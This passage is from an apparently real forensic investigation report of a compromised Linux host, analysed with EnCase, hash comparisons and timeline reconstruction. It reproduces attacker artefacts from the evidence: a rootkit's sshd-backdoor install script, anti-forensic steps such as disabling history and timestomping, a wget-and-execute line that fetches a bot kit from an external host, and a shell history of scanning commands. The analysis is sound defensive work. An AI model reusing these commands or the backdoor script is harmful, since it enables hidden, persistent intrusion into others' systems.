To ensure the MD5 checksum from the preview was identical to the acquired evidence file another MD5 hash was done. The resulting hash is shown in Figure 15. We have verified the acquisition evidence file and the preview MD5 checksum are identical. The MD5 hash value can be recalculated any time during the analysis to verify the integrity of the evidence, see Figure 15.

Files on the CDROM, Tag item # 05, included an MD5 hash file. Below is the file listing:

```
MD5 (liveresponse.tar) = 994b0c3b8e91d10087fa085f9586f4de
MD5 (sebek.out) = 82b86c939e8347c71e25655530566dc7
MD5 (snortfiles.tar) = 66130385e828dbb5218a492d6f1df6a1
MD5 (varddimage.gz) = d073eb91e149936a313f907cd3c9a3ac
```
Using `md5sum.exe` from [http://www.etree.org/md5com.html](http://www.etree.org/md5com.html), the file checksums were verified. The output is shown below:

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>D:&gt;md5sum *</td>
<td>Checksums for various files</td>
</tr>
<tr>
<td>994b0c3b8e91d10087fa085f9586f4de *liveresponse.tar</td>
<td>File checksums for different files</td>
</tr>
<tr>
<td>82b86c939e8347c71e25655530566dc7 *sebek.out</td>
<td></td>
</tr>
<tr>
<td>66130385e828dbb5218a492d6f1df6a1 *snortfiles.tar</td>
<td></td>
</tr>
<tr>
<td>d073eb91e149936a313f907cd3c9a3ac *varddimage.gz</td>
<td></td>
</tr>
</tbody>
</table>

### 2.5. Media Analysis

The system used to analyze the evidence was an IBM ThinkPad model A31 with a 1.8Ghz processor, 1.0GB of RAM. There were two sixty GigaByte Travelstar hard drives, a removable Matsushita UDJA720 DVD/CDRW. The Forensic analysis software used to examine Tag #01 and Tag #03 and Tag #05 was EnCase (V4.14) from Guidance Software, a forensic tool of choice in our workplace.

Below is a list of all the tools used during the analysis;

1. EnCase is popular with law enforcement and private industry providing powerful forensic capabilities. [www.guidancesoftware.com](http://www.guidancesoftware.com)

2. `mac_robber` is a computer forensic tool for unix. It collects MAC (modified, access and change) times of files. [www.stake.com/research/tools/forensic](http://www.stake.com/research/tools/forensic)

3. The live response kit consisted of the following Linux binaries:

   a. `nc` (netcat) used to send data streams from the victim machine to the forensic workstation.
   b. `date` used to record the start time and stop time of the response.
   c. `w` used to identify who is currently logged in.
   d. `netstat` used to show the internet sockets that are open and to display the routing information.
   e. `lsof` used to identify backdoors and network services.
   f. `ps` used to show the processes in the process table.
   g. `ifconfig` used to obtain the network configuration
   h. `ls` used to list the `/proc` file system.
   i. `md5sum` used to record MD5 checksums.

See Table 2 for the exact syntax used for each command. The `LD_LIBRARY_PATH` variable was set to ensure known good library files were used. It is important to use either statically compiled files or trusted library files. It must be assumed the binary and library files on the system are

---

compromised. That is the reason for the using the trusted library files. The library files were included on the live response CDROM.

4. Snort (v.2.0.0) open source software that can be used as a sniffer, packet logger and network intrusion detection software. Snort reference site www.snort.org.

5. Tcpdump (v.3.6 running with libcap v0.6) open source software used for analyzing packets. Tcpdump is available from www.tcpdump.org.

6. Tcpflow (v.0.21) open source software that will allow the data stream for a TCP session to be captured. Tcpflow is available from www.circlemud.org/~jelson/software/tcpflow.

7. Linux RedHat 7.3 commands; find, md5sum, grep, ls. These commands are part of the unix operating system. (www.redhat.com).

EnCase provides verification via MD5 hashes of drive previews and evidence files when opened. The MD5 checksum was calculated when Tag item #1 was previewed and acquired. The FastBloc device ensures the evidence is not altered or changed in any way. The verification checksum ensures the evidence has not been corrupted or altered and allows for verification throughout the analysis process.

When the harddrive, Tag item #1, was first acquired as an evidence file an acquisition MD5 checksum was calculated. A verification MD5 checksum can be run at anytime. EnCase has powerful search capabilities through the use of keywords. Generic keyword lists are available, but meaningful keywords assist in narrowing the investigation. To focus the EnCase analysis a meaningful keyword list was compiled using the live response files and associated logs.

Before the initial acquisition the keywords were entered and selected. Once the drive was acquired EnCase used the keyword list to search the acquired evidence file.

**File system**

The live response and log analysis provided a focus for beginning the file system analysis. The IDS logging provided details on the initial connections that led to the compromise of the victim machine. The encrypted ssh session meant the IDS logging could not provide details on the events occurring on the victim machine.

The first files analyzed were the files and directories identified as suspicious during the live response analysis. Those directories and files were:

- Nfsd
- sshd_config
- Popauth
- minilogd
- /tmp/.s
- services
Analysis of the /tmp/.s directory corroborating evidence seen in the IDS logs. The file install.log had a last written date of 03:25:20PM. The install.log file was created by the running of the install script from the s.tar.gz file. The install.log file is shown in Table 2.

Table 2. install.log output

Table 2. install.log output shows “PS, PSTREE and LS DIR VDIR” failing during install. Further analysis of the install script is shown below in steps 1 to 20 below. The bolded fonts in step 11 are the one’s that the install log showed as failing. Steps 12 to 21 are the actions that were never completed. This was verified taking the MD5 file hashes and comparing them with MD5 hashes from a clean install of Linux RedHat 7.3 machine.

1) The HISTFILE is configured not to capture commands with “unset HISTFILE”.

2) The command “chattr -iau” is used, (the “-“ removes attributes from the file, “i” => immutable, “a” => append only and “u” => undeletable’). The files the command was used on are listed below;

```
/etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslog
/etc/rc.d/init.d/functions /usr/local/sbin/sshd
/usr/sbin/sshd /bin/ps
```

/bin/netstat /bin/ls
/usr/bin/du /usr/bin/find
/usr/bin/pstree /usr/bin/killall
/usr/bin/top /usr/bin/dir

3) Stop syslog with "/etc/rc.d/init.d/syslog stop"

4) kill the rpc portmapper

5) remove *.tgz file(s) from the ../ directory.

6) Copy the .1proc file to /dev/ttyop. The .1proc file is a list of processes shown below:

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>sl</td>
<td></td>
<td></td>
</tr>
<tr>
<td>sl2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>st</td>
<td></td>
<td></td>
</tr>
<tr>
<td>v</td>
<td></td>
<td></td>
</tr>
<tr>
<td>foo</td>
<td></td>
<td></td>
</tr>
<tr>
<td>scan</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ping</td>
<td></td>
<td></td>
</tr>
<tr>
<td>tcpd</td>
<td></td>
<td></td>
</tr>
<tr>
<td>lpd</td>
<td></td>
<td></td>
</tr>
<tr>
<td>r00t</td>
<td></td>
<td></td>
</tr>
<tr>
<td>sc</td>
<td></td>
<td></td>
</tr>
<tr>
<td>strob</td>
<td></td>
<td></td>
</tr>
<tr>
<td>luckstatdx</td>
<td></td>
<td></td>
</tr>
<tr>
<td>hds</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ms</td>
<td></td>
<td></td>
</tr>
<tr>
<td>mass</td>
<td></td>
<td></td>
</tr>
<tr>
<td>x2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>x2</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

7) Copy the .1addr file to /dev/ttyoa. The .1addr file is a list of ports shown below:

<table>
<thead>
<tr>
<th>Port</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>18</td>
</tr>
<tr>
<td>4</td>
<td>18</td>
</tr>
<tr>
<td>3</td>
<td>6667</td>
</tr>
<tr>
<td>4</td>
<td>6667</td>
</tr>
<tr>
<td>3</td>
<td>1</td>
</tr>
</tbody>
</table>

8) Copy the .1file file to /dev/ttyof. The .1file is a list of filenames shown below:

<table>
<thead>
<tr>
<th>File</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>.s</td>
<td>.x</td>
</tr>
<tr>
<td>mps</td>
<td>mls</td>
</tr>
<tr>
<td>ttyop</td>
<td>ttyof</td>
</tr>
<tr>
<td>clean</td>
<td>sense</td>
</tr>
<tr>
<td>v</td>
<td>sl2</td>
</tr>
<tr>
<td>r00t</td>
<td></td>
</tr>
</tbody>
</table>

9) Copy the .1logz file to /dev/ttyos. The .1logz file is a list of IP addresses, domain names and log file names shown below:

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Domain Name</th>
<th>Log File</th>
</tr>
</thead>
<tbody>
<tr>
<td>XXX.hypermart.net</td>
<td>XXX.XXX.0.159</td>
<td>syslog</td>
</tr>
<tr>
<td>klogd</td>
<td>net-pf-10</td>
<td>XXX.97.33.*</td>
</tr>
</tbody>
</table>

10) touch -acmr ( a => change access time, c => do not create any files, m => change modification time, r => use the file referenced times instead of current time). The touch command was performed on the files listed. The first file is the file whose times are used as reference, the second is the trojan binary included in the s.tar.gz root kit.

```
/usr/bin/du du /usr/bin/find find /usr/bin/killall killall
/bin/ps ps /bin/netstat netstat /usr/bin/pstree pstree
/bin/ls ls /usr/bin/top top /usr/bin/vdir vdir
```
11) Place the trojan binaries and move existing binaries appending the original name with an “m”:

```
ps => /bin/ps  
pstree => /usr/bin/pstree  
top => /usr/bin/top
ls => /bin/ls  
killall => /usr/bin/killall  
ls => /usr/bin/dir
du => /usr/bin/du  
find => /usr/bin/find  
netstat => /bin/netstat
```

12) The `nfsdi` script, located in the `nfsd` directory, is called to install the `nfsd` (sshd backdoor) on port 18:

The `nfsdi` script does the following:

a) `p.sshd` is copied to `/usr/sbin/nfsd`
b) `chmod +s` and `chattr +iau` done on `/usr/sbin/nfsd`
c) `sshd_config` copied to `/sbin/sshd_config`, `chattr +iau` done on the file.
d) Host key (`xxxh_h`) and random key (`xxh_r`) are copied to `/sbin`.
e) `nfsd` is run
f) `charttr -iau` run on `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions`.
g) The line “/usr/sbin/nfsd -f /sbin/sshd_config” is appended to the end of `/etc/rc.d/init.d/syslog` and `/etc/rc.d/init.d/functions` and `chattr +iau` is run.

13) Rootkit utilities are installed:

```
clean => /usr/bin/clean  
sense => /usr/bin/sense
```

14) Linsniffer installed storing logs in `/dev/logs` “linsniffer /usr/bin/lpd”.

15) Setting up `crontab` “/usr/bin/crontab cron-root”.

16) Ports Open check using command “/usr/sbin/lsof|grep LISTEN”.

17) Checking for “Other RooTKITs”.

18) starting syslog with “/etc/rc.d/init.d/syslog start”

19) Reviewing logs, cron, maillog with echo of;

```
/var/log/messages  
/var/log/secure
```

20) Using `chattr +iau` on

```
/etc/rc.d/init.d/syslog  
/etc/rc.d/init.d/functions  
/bin/ps
```

```
/bin/netstat  
/bin/ls
```

```
/usr/bin/find  
/usr/bin/pstree
```

```
/usr/bin/killall
```

```
```
21) Closing message "Na hai sa ne pisam pe iei -;)

TCPFLOW output showed the uncompressing of the s.tar.gz files. When the file system /tmp/.s was examined three of the trojan binaries were not present, they were "ls, ps and vdir". Table 3 shows a comparison from the TCPFLOW file list and the files in the /tmp/.s directory:

<table>
<thead>
<tr>
<th>TCPFLOW log</th>
<th>Files in /tmp</th>
<th>Last access</th>
<th>Notes - (All virus infected with Linux.RST.B)</th>
</tr>
</thead>
<tbody>
<tr>
<td>.s/</td>
<td>/tmp/.s</td>
<td>03:25:20PM</td>
<td>Hidden directory</td>
</tr>
<tr>
<td>.s/du</td>
<td>/tmp/.s/du</td>
<td>03:25:20PM</td>
<td>Trojan du (disk usage command) references ttyof. The install script copies .lfile to ttyof.</td>
</tr>
<tr>
<td>.s/find</td>
<td>/tmp/.s/find</td>
<td>03:25:20PM</td>
<td>Trojan find command references ttyof. The install script copies .lfile to ttyof.</td>
</tr>
<tr>
<td>.s/killall</td>
<td>/tmp/.s/killall</td>
<td>03:25:20PM</td>
<td>Trojan killall command used to kill processes. References ttyop. The install script copies .lproc to ttyop.</td>
</tr>
<tr>
<td>.s/linsniffer</td>
<td>/tmp/.s/linsniffer</td>
<td>03:25:20PM</td>
<td>Trojan linsniffer program.</td>
</tr>
<tr>
<td>.s/ls</td>
<td>- not present-</td>
<td></td>
<td>list command.</td>
</tr>
<tr>
<td>.s/netstat</td>
<td>/tmp/.s/netsat</td>
<td>03:25:20PM</td>
<td>Trojan netsat, network status command references ttyoa. The install script copies .laddt to ttyop.</td>
</tr>
<tr>
<td>.s/ps</td>
<td>- not present-</td>
<td></td>
<td>Process status command</td>
</tr>
<tr>
<td>.s/pstree</td>
<td>/tmp/.s/pstree</td>
<td>03:25:20PM</td>
<td>Process tree list. References ttyop. The install script copies .lproc to ttyop.</td>
</tr>
<tr>
<td>.s/vdir</td>
<td>/tmp/.s/vdir</td>
<td>03:25:20PM</td>
<td>Lists directory contents.</td>
</tr>
<tr>
<td>.s/top</td>
<td>/tmp/.s/top</td>
<td>03:25:20PM</td>
<td>Show top CPU Processes.</td>
</tr>
<tr>
<td>.s/.laddr</td>
<td>/tmp/.s/.laddr</td>
<td>03:25:20PM</td>
<td>Contains a list of those trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.lfile</td>
<td>/tmp/.s/.lfile</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyof. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.llogz</td>
<td>/tmp/.s/.llogz</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyos. Contains a list of that trojan binaries uses. Binaries using this reference are netstat</td>
</tr>
<tr>
<td>.s/.lproc</td>
<td>/tmp/.s/.lproc</td>
<td>03:25:20PM</td>
<td>Install script copies this to /dev/ttyop. Contains a list of that trojan binaries uses. Binaries using this reference are top, pstree, killall</td>
</tr>
<tr>
<td>.s/clean</td>
<td>/tmp/.s/clean</td>
<td>03:25:20PM</td>
<td>Log file cleanup script.</td>
</tr>
<tr>
<td>.s/nfsd/</td>
<td>/tmp/.s/nfsd</td>
<td>03:25:21PM</td>
<td>Directory</td>
</tr>
<tr>
<td>.s/nfsd/sshd_config</td>
<td>d_config</td>
<td>03:25:21PM</td>
<td>nfds (sshd) configuration file.</td>
</tr>
</tbody>
</table>
| .s/nfsd/xxh_h | /tmp/.s/xxh_h | 03:25:21PM | HostKey file for nfds (sshd) referenced in configuration file. EnCase output shows key as a private key belonging to
The examination began with the startup files. In Linux RedHat 7.3 the startup begins with the /etc/rc.d/rc.sysinit script. This script was identified in the initial keyword search. It contained the keyword “weit”, one of the suspicious files seen in the live response. Two other startup files were identified in the keyword search. They are located in the /etc/init.d hierarchy.

“The inittab file is the configuration file used by ‘init’. The inittab file is located in the /etc directory and provides the run level the system will start in. RedHat Linux runs the /etc/rc.d/rc.sysinit script before running the rc ‘init’ script.”

The rc.sysinit file was identified, in the root kit install log, as one of the startup scripts that was modified. To view all startup scripts in /etc/rc.d with EnCase the rc.d homeplate was selected as shown in Figure 16 - upper left pane.

From the analysis of the s.tar.gz install script and the startup files we know three startup files were modified.

To identify file changes a fresh install of Linux 7.3 was used to generate MD5 hashes to compare against the Linux 7.3 victim machine. The output from the command below was piped (|) into an output file for comparison purposes. The find command below starts at the root “/”, looking for names of all files “-name \\*”, do not parse the /proc directory structure “’/proc’ -prune -o”, only look at files “-type f” and run an md5sum on the file “-exec md5sum {} \;”.

```
#find / -name \\* -path ‘/proc’ -prune -o -type f -exec md5sum {} \
```

To create a hash file in EnCase the files were checked off and an export of the hash values, file name, file logical size and path was done. This created a space

---

delimited flat file. The file was transferred to the Linux, normalized, and comparisons were run using the unix 'comm' command as shown below:

```
comm -3 known-good-startup.txt export-phase4-startup.txt | more
```

The comm command with the -3 switch will not show lines from the two files that are identical. The output is shown:

```
/etc/rc.d/init.d/functions 918ec2bf2cda7890118d41731001ed09 9962
/etc/rc.d/init.d/functions e62d86534bd966c0378d8045aaaa0762 9998
```

Looking at the end of the functions script we find the covert ssh startup command.

```
done
```

```
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned functions startup script – nfsd (ssh on port 18) added

```
/etc/rc.d/init.d/syslog 7e7d2b5075662d3cd6e35c24b5003d69 1405
```

Looking at the end of the syslog script we again find the covert ssh startup command.

```
exit $?
```

```
/usr/sbin/nfsd -f /sbin/sshd_config
```

Trojaned syslog startup script – nfsd (ssd on port 18) added

```
/etc/rc.d/rc.sysinit ee965268d25b94ed0ffe16db5be890 22379
```

Looking at the end of the rc.sysinit script we find the virus infected (Linux.RST.B) weit command.

```
/sbin/getkey i && touch /var/run/confirm
```

```
fi
weit
```

Trojaned rc.sysinit startup script – wait changed to weit

The "last written" time from each file showed the /etc/rc.d/rc.sysinit script being modified at 3:22:09pm and both the /etc/rc.d/init.d/syslog and /etc/rc.d/init.d/functions scripts modified at 3:25:21pm. Figure 16 is a screen shot of
the /etc/rc.d folder and associated folders and files, all sorted using the Entry Modified time.

To display all of the folders and files under /etc/rc.d refer to the upper left hand window in Figure 16. The “home plate” to the left of the check box is selected as shown. To perform a sort, the “Entry Modified” column was selected. The red arrow in the upper right corner of the Entry Modified column indicates this column is sorted. (Refer to the EnCase report in Appendix F).

The back doors found on the system were:

- The nfsd daemon (trojaned sshd) running on process ID’s 19810 and 19811
- The weit program run from the rc.sysinit script in the /etc/rc.d directory that spawned the popauth program that sets up a listener on UDP port 3049.
- The IRC server running on process ID’s 19936 and 19941.

Looking at the install script in /tmp/.s/install we see

```
  cd nfsd;./nfsdi
```

The nfsdi script modifies the syslog and functions scripts and installs the trojan, virus infected, nfsd.

```
#!/bin/sh
```
if [ -x /usr/sbin/nfsd ]; then
    chattr -iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f ../.p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f ../.p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi

if [ -f /sbin/sshd_config ]; then
    chattr -iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f /sbin/sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f /sbin/sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi

cp -f xxh_h /sbin

cp -f xxh_r /sbin
/usr/sbin/nfsd -f /sbin/sshd_config
chattr -iau /etc/rc.d/init.d/functions
chattr -iau /etc/rc.d/init.d/syslog

echo "#/usr/sbin/nfsd -f /sbin/sshd_config" >> /etc/rc.d/init.d/functions

chattr +iau /etc/rc.d/init.d/syslog
chattr +iau /etc/rc.d/init.d/functions

The IRC bot software was running as process ID 19941 and 19936. The installation and start of the script was done during a session to the victim host (192.168.2.15) from IP address XXX.XXX.108.64 between ports 35157 and 443. The time of this event was 15:22:43. The command below downloaded the bot.tgz, tar-gzipped file (wget XXX.XXX.com/eladoht/bot.tgz). The file was unpacked (tar -zxvf bot.tgz), the file was removed (rm -rf bot.tgz), the directory was changed from /tmp to /tmp/.X11-pipe (cd .X11-pipe), the mode was set to executable (chmod +x inetd/services) and the services file run (inetd/services).

```
wget XXX.XXX.com/eladoht/bot.tgz; tar -zxvf bot.tgz; rm -rf
bot.tgz; cd .X11-pipe; chmod +x
inetd/services; inetd/services; inetd/services
```

The linsniffer program was part of the s.tar.gz file. Analysis of the file system showed no indication of the linsniffer program. The install.log showed the install script didn't complete the install of linsniffer. Using EnCase, a filter search for the file name tcp.log was conducted. The filter search turned up no hits.
A keyword search was next. The purpose of the search was to see if the file existed but had been deleted. The keyword search found the tcp.log referenced 11 times. The references are summarized below:

- 6 hits were in the /tmp/.s/install file.
- 1 hit in the /dev/ttyof file.
- 1 hits in the /tmp/.s/linsniffer binary file.
- 1 hits in the /tmp/.s/.1file
- 1 hits in the /root/.bash_history file.
- 1 hits in the /swap space (swap space Is a .bash_history events).

The directory /dev/log did exist with a MAC time stamp of 03:2206PM on 06/29/03.

Once the nsfd was running, the attacker connected, using ssh on port 18 and continued the configuration and setup of the root kits. The attacker mistyped the command for turning off HISTFILE and because of this error the .bash_history log file recorded the commands issued. These commands confirm the sebek output. The /root/.bash_history file, shown in Table 4, gives the keystroke history for the installation and running of the samba.tgz kit.

```bash
unset HISTFILES
cd /tmp
ls -al
dir -al
rm -rf .s
rm -rf r
mc
ps ax
killall -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
```
The EnCase enscript used for reporting the sticky bit did not identify the bit as either setuid or setgid. To provide a complete listing of setuid and setgid a dd image was made of the evidence drive (Tag # 02) using Fastbloc. The command used to create the dd image was:

```
"dd if=/dev/sd1 of=/mnt/linux73-062903.bin bs=1024 conv=noerror,notrunc,sync"
```

The dd command is used to make a bit for bit image. The command line switches are:

- “if” => identifies the input file, in this case it is /dev/sd1.
- “of” => designated the output file, in this case it is /mnt/linux73-062903.bin.
- “bs” => is the block size to use for reading and writing.
- “conv” => is used to send extra arguments to dd.
- “noerror” => tells dd not to stop when reading if an error occurs.
- “notrunc” => no truncation of the output if an error happens.
• “sync” => if an error occurs use zeros in the output file.  

The MD5 checksum was verified against the MD5 checksum from EnCase. See Figure 17.

![Figure 17 dd image MD5 checksum.](image)

Using the loop back devices the filesystem was mounted as ro and the find command was used to obtain the following:

1. The syntax of the find command for locating hidden directories is:

   ```bash
   find /mnt/linux73 -name ".*" -type d -printf "%Tc %k %h/%f
   ```

   The “/mnt/linux73” tells find where to start. The “-name ".*" -type d” tells find to look for directories that begin with a “.” (the “.” in unix hides the directory or file). The last command line switch tells find to print out the file date and time information.

<table>
<thead>
<tr>
<th>Directory of interest are listed below:</th>
</tr>
</thead>
<tbody>
<tr>
<td>.</td>
</tr>
<tr>
<td>.</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:41:56 PM CST 1 /mnt/linux73/tmp/.font- unix</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 04:00:24 PM CST 1 /mnt/linux73/tmp/.font- unix/.X11-pipe</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:10 PM CST 1 /mnt/linux73/tmp/.s</td>
</tr>
<tr>
<td>Sun 29 Jun 2003 03:22:08 PM CST 1 /mnt/linux73/.x</td>
</tr>
</tbody>
</table>

---

2. Locating the setuid files:

```
find /mnt/linux73 -type f -a -perm -4000 -exec ls -aslq {} \
```

The “/mnt/linux73” tells find where to start. The “-type f -a -perm -4000” tells find to look for a regular file with the setuid bit set. The “-exec ls -aslq {} ;” command line switch tells find to print out the file details.

```
   36  -rwsr-xr-x  1  root  root       34296  Mar 27  2002  /mnt/linux73/usr/bin/chage
   40  -rwsr-xr-x  1  root  root       36100  Mar 27  2002  /mnt/linux73/usr/bin/gpasswd
   16  -r-s--x-x-x  1  root  root       37528  Jan 17  2002  /mnt/linux73/usr/bin/at
   12  -rw-s--x-x-x  1  root  root       15104  Mar 13  2002  /mnt/linux73/usr/bin/passwd
   12  -rwsr--x-x-x  1  root  root       12072  Apr  1  2002  /mnt/linux73/usr/bin/chfn
   12  -rwsr--x-x-x  1  root  root       11496  Apr  1  2002  /mnt/linux73/usr/bin/chsh
    8  -rwsr--x-x-x  1  root  root       4764  Apr  1  2002  /mnt/linux73/usr/bin/newgrp
   24  -rwsr-xr-x  1  root  root       21080  Apr 14  2002  /mnt/linux73/usr/bin/crontab
   20  -rwsr-xr-x  1  root  root       19927  Apr 17  2002  /mnt/linux73/usr/bin/1pssw
   220 -rwsr-xr-x   1  root  root       219932  Apr  4  2002  /mnt/linux73/usr/sbin/traceroute6
    8  -rwsr-xr-x   1  root  root       7404  Apr 17  2002  /mnt/linux73/usr/bin/ksh
   16  -rwsr-xr-x   1  root  root      14588  Jul 24  2001  /mnt/linux73/usr/bin/rcp
   12  -rwsr-xr-x   1  root  root      10940  Jul 24  2001  /mnt/linux73/usr/bin/log
    8  -rwsr-xr-x   1  root  root       7932  Jul 24  2001  /mnt/linux73/usr/bin/rsh
   88  -r-s--x-x-x   1  root  root      84680  Apr 18  2002  /mnt/linux73/usr/bin/sudo
   32  -rwsr-xr-x   1  root  root      32673  Apr 18  2002  /mnt/linux73/usr/sbin/ping6
   16  -rwsr-xr-x   1  root  root      13994  Apr 18  2002  /mnt/linux73/usr/sbin/traceroute6

448 -r-sr-xr-x  1  root  root       451280  Apr  8  2002  /mnt/linux73/usr/sbin/sendmail
24  -rwsr--x-x-x  1  root  root       22388  Apr 15  2002  /mnt/linux73/usr/sbin/userhelper
20  -rwsr-xr-x  1  root  root       17461  Apr 19  2002  /mnt/linux73/usr/sbin/usernetctl
20  -rwsr-xr-x   1  root  root       20140  Mar 14  2002  /mnt/linux73/usr/sbin/traceroute6

24  -r-sx----x-x  1  root    48       22826  Apr  9  2002  /mnt/linux73/usr/sbin/suexec
244 -rwsr-sr-x  1  root  root       242909  Jun 29 15:25 /mnt/linux73/usr/sbin/nfsd
1572 -rwsr-x-x-x  1  root  root       1602576  Apr 18  2002  /mnt/linux73/usr/X11R6/bin/XFree86

44  -rwsr-xr-x  1  root  root       43951  Jun 30 17:36 /mnt/linux73/bin/ping
69  -rwsr-xr-x  1  root  root       68863  Apr  1  2002  /mnt/linux73/bin/umount
36  -rwsr-xr-x  1  root  root       35327  Apr  1  2002  /mnt/linux73/bin/passwd
20  -rwsr-xr-x  1  root  root       19116  Apr  8  2002  /mnt/linux73/bin/su
119  -r-sr-xr-x  1  root  root       120264  Apr  9  2002  /mnt/linux73/sbin/pwd/ckpwd
18  -r-sr-xr-x  1  root  root       16992  Apr  9  2002  /mnt/linux73/sbin/unix/ckpwd
```

3. Locating setgid files:

```
find /mnt/linux73 -type f -a -perm -2000 -exec ls -aslq {} \
```

The “/mnt/linux73” tells find where to start. The “-type f -a -perm -2000” tells find to look for a regular file with the setgid bit set. The “-exec ls -aslq {} ;” command line switch tells find to print out the file details.

```
   20  -rwsr-xr-x  1  root  mail       17811  Mar 25  2002  /mnt/linux73/usr/bin/lockfile
   28  -rwsr-xr-x  1  root  slocate     25020  Jun 25  2001  /mnt/linux73/usr/bin/slocate
   8  -r-xr-xr-x  1  root  tty         6920  Mar 14  2002  /mnt/linux73/usr/bin/telnet
   12  -rwsr-xr-x  1  root  tty         8584  Apr  1  2002  /mnt/linux73/usr/bin/write
   60  -rwsr-xr-x  1  root  root        57092  Apr 17  2002  /mnt/linux73/usr/bin/kdesud
   20  -rwsr-xr-x  1  root  utmp        6604  Jun 24  2001  /mnt/linux73/usr/bin/utempter
   16  -rwsr-xr-x  1  root  utmp        13760  Apr 15  2002  /mnt/linux73/usr/sbin/gnome-pty-helper
16  -rwsr-xr-x  1  root  lock        13573  Feb 25  2002  /mnt/linux73/usr/sbin/lockdev
244 -rwsr-xr-x  1  root  root       242909  Jun 29 15:25 /mnt/linux73/usr/sbin/nfsd
```
The highlighted line for both setuid and setgid shows the nfsd file, installed with the root kit having both setuid and setgid bits set. See Appendix F for the complete EnCase report.

2.6. Timeline Analysis

Time line analysis was done using a combination of EnCase, mac_robber and the unix find command. The Modified, Access and Change times are selectable within EnCase. The timeline export within EnCase produced a file too large to import into Excel and sort. EnCase allows for easy sorting on any of the three times or combinations of the three. To provide a sortable file, the dd image was mounted and both mac_robber and find commands were used to produce timeline files. The following command was used to create a ctime (change time) timeline file:

```
find /mnt/linux73/root -printf "%C@\t%h/%f\n" | sort > outputfile.txt
```

The adjusted to local times listed below are based on the EnCase Timeline analysis. The time on the /mnt/linux73/lost+found file indicated the last written and modified time as 11:30:53 time as seen in Figure 18.

![Figure 18 Time alignment EnCase](image)

The 1056043853 time is based on the number of seconds after Jan 1, 1970. The key events are displayed below with both times:
OS install start Jun 19, 2003 18:30:53 => Adjusted to local time 11:30:53

OS install complete Jun 20 2003 09:31:35 => Adjusted to local 02:31:35

COMPROMISE STARTS HERE

Date is Jun 29, 2003 22:11:59 => Adjusted to local 15:11:59

Date is Jun 29, 2003 22:20:00 => Adjusted to local 15:22:00

Date is Jun 29, 2003 22:22:04 => Adjusted to local 15:22:04

Date is Jun 29, 2003 22:22:05 => Adjusted to local 15:22:05

Date is Jun 29, 2003 22:22:06 => Adjusted to local 15:22:06

Date is Jun 29, 2003 22:22:07 => Adjusted to local 15:22:07
The install script from s.tar.gz is running. The install script calls the mpstree script with the line “sh mpstree”, then the mpstree script calls the p.ssh script with the line “/p.ssh”. The “p.ssh” script creates the /x directory with the line “mkdir –p $D”, the $D variable is set to”/x” one line before. The libgc.so library and the popauth executable are placed by the p.ssh script.

The mpstree script modifies the /etc/rc.d/rc.sysinit script and runs the weit executable. The weit executable calls the popauth executable. Popauth listens on https, http, and UDP 3049. Popauth and other binaries are infected with the Linux.Jac.8759 virus. See EnCase report on virus infected files. 739 files, including rc.sysint have ctimes (change time) of 1056921729.

EnCase was used to order the files based on last modified time.
Looking at the EnCase modified time sort we see the mech.pid file, (Trojaned IRC server) established at 15:32:59. The mkdir time 15:39:41 (03:39:21) shows us the last trojaned command being put in place. The samba.tgz file is the file downloaded during the nfsd (trojaned ssh running on port 18) session. The time for this was 15:41:42 (03:41:42). Outgoing attacks are initiated. Our suspect mistypes and forgets to stop the .bash_history file from logging. It, along with the sebek log provide evidence on the exact commands typed.

The hostname file had it’s mtime and ctime changed at 16:59:16. One of the commands run during the attacks was ‘netstat’. The ‘netstat’ command was one of the files successfully trojaned. The ‘netstat’ command was exported and the Norton anti-virus program showed the file contained the Linux.RST.B virus. The ‘hostname’ file was exported and it also had the virus. The running of the trojaned netstat command infected the hostname file causing the change in mtime and ctime.

The next mtime written is for .bash_history at 17:21:23 and the xxh_r (trojaned ssh daemon nfsd random seed file) time at 17:25:23. The lpd.usr (19:00:27) and MrIdiot.seen (19:10:27) files are both used for the IRC BOT server. The last inbound
connection to the IRC server is shown in the tcpdump log output below.

```
16:52:24.823540 195.54.102.4.6667 > 192.168.2.15.1143: P 28727:28812(85) ack 1171 win 2896
<nop,nop.timestamp 120259573 53659921> (DF)
```

### 2.7. Recover Deleted Files

